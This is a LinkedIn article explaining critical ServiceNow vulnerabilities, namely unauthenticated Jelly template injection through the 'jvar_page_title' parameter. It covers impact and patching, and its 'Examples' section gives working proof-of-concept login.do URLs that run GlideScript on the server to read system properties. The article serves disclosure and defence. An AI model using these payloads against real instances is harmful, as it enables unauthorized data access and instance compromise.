Understanding critical ServiceNow vulnerabilities: Unauthenticated instance compromise explained
Daniel Aagren Seehartrai Madsen
ServiceNow | Software Engineering | Ethical Hacking | AI
On July 10th, ServiceNow published a series of critical CVEs discovered by security researcher Adam Kues from Assetnote (read the article published by the researcher here). These vulnerabilities allow an attacker to access and modify data on a vulnerable ServiceNow instance without authentication:
Due to the potential for unauthorized data access and complete compromise of an instance, the severity has been rated 9.3 out of 10 in the CVSS scoring system. ServiceNow has already released patches to address these vulnerabilities, and it is crucial to update your instances immediately.
In this article, I will explain these vulnerabilities in a straightforward manner and provide examples of how attackers can exploit them to extract data from an instance.
Discovery of the vulnerabilities
The security researcher discovered that it was possible to manipulate a URL parameter to influence the content returned by ServiceNow. By setting the parameter "jvar_page_title" to a string of HTML tags, they observed these tags appearing unchanged in the content served by ServiceNow. This phenomenon is known as HTML injection (learn more about HTML injection here). Normally, servers are expected to neutralize any code sent by users to prevent attackers from executing commands either on the server or the client side. By neutralizing input (also known as escaping input), data is stored as plain text rather than executable instructions, which is safer. In this case, the server failed to neutralize the input, allowing potential execution of embedded instructions, rather than treating them as harmless text.
After confirming the possibility of injecting code into the webpage, the researcher explored further. Their objective was to determine if they could send commands to ServiceNow that would be executed on the server and returned in the response. If successful, this type of attack would enable an attacker to access or modify data within a ServiceNow instance, potentially compromising its security. The researcher focused on ServiceNow's template engine and discovered they could define a custom style containing executable code, which, when set as the value for the previously discovered parameter, allowed them to execute code on the server, thereby compromising the instance. This is referred to as Server-Side Template Injection (read more about SSTI here).
Using this injection technique, the researcher demonstrated several severe consequences. They were able to retrieve a list of all users in the instance, including database credentials that could be used for direct access. Additionally, they showed it was possible to inject new data into the instance. Furthermore, the researcher successfully set up a new configuration for MID servers in the instance, executing a specified script embedded in the input. This scenario allows an attacker to transmit sensitive information directly to a server under their control, known as an Out-Of-Band attack (read more about OOB attacks here).
It's evident that these vulnerabilities are highly critical. Exploitation by an attacker could lead to serious consequences in terms of the CIA triad—confidentiality could be compromised by data theft, integrity could be undermined through data alteration, and availability could be affected by data removal or locking out legitimate users from the platform.
In the next section I will give some examples that can be used to show that an instance is vulnerable, and how it can be used to extract data from an instance.
Recommended by LinkedIn
Examples
To exploit these vulnerabilities, we need to include the "jvar_page_title" parameter with a specific value that injects into the templating engine:
jvar_page_title=<style><j:jelly xmlns:j="jelly" xmlns:g='glide'><g:evaluate></g:evaluate></j:jelly></style>
Within the <g:evaluate> tags, GlideScript can be inserted, which executes on the server. As a basic demonstration, consider using the following URL:
/login.do?jvar_page_title=<style><j:jelly%20xmlns:j="jelly"%20xmlns:g=%27glide%27><g:evaluate>s="";s=s.concat("Answer to the Ultimate Question of Life, the Universe, and Everything : ",7*6);gs.addInfoMessage(s);</g:evaluate></j:jelly></style>
This URL performs a simple multiplication and displays the result on the screen. Although this may seem innocuous, it illustrates the capability to execute code on the server:
To further demonstrate server-side code execution, the getCurrentScopeName() method from the GlideSystem API can be utilized to reveal the current application scope:
/login.do?jvar_page_title=<style><j:jelly%20xmlns:j="jelly"%20xmlns:g=%27glide%27><g:evaluate>s="";s=s.concat("Current scope : ",gs.getCurrentScopeName());gs.addInfoMessage(s);</g:evaluate></j:jelly></style>
Executing this URL will yield:
Another example involves retrieving system properties:
/login.do?jvar_page_title=<style><j:jelly%20xmlns:j="jelly"%20xmlns:g=%27glide%27><g:evaluate>s="";s=s.concat("Instance name : ",gs.getProperty('instance_name'));gs.addInfoMessage(s);</g:evaluate></j:jelly></style>
This example fetches the current instance name, but it can be adjusted to access other properties by modifying the 'instance_name' property name.
Patching and prevention
To safeguard your instance against these serious vulnerabilities, it's crucial to install the latest security updates provided by ServiceNow. ServiceNow released patches addressing these vulnerabilities in June 2024, prior to the publication of the article by the security researcher. If you opted out of the June patch cycle or if you manage a self-hosted instance that hasn't yet received the latest updates, it's imperative to apply these patches immediately to mitigate the risk of exploitation. For detailed guidance on these vulnerabilities, refer to the knowledge base article by ServiceNow available here.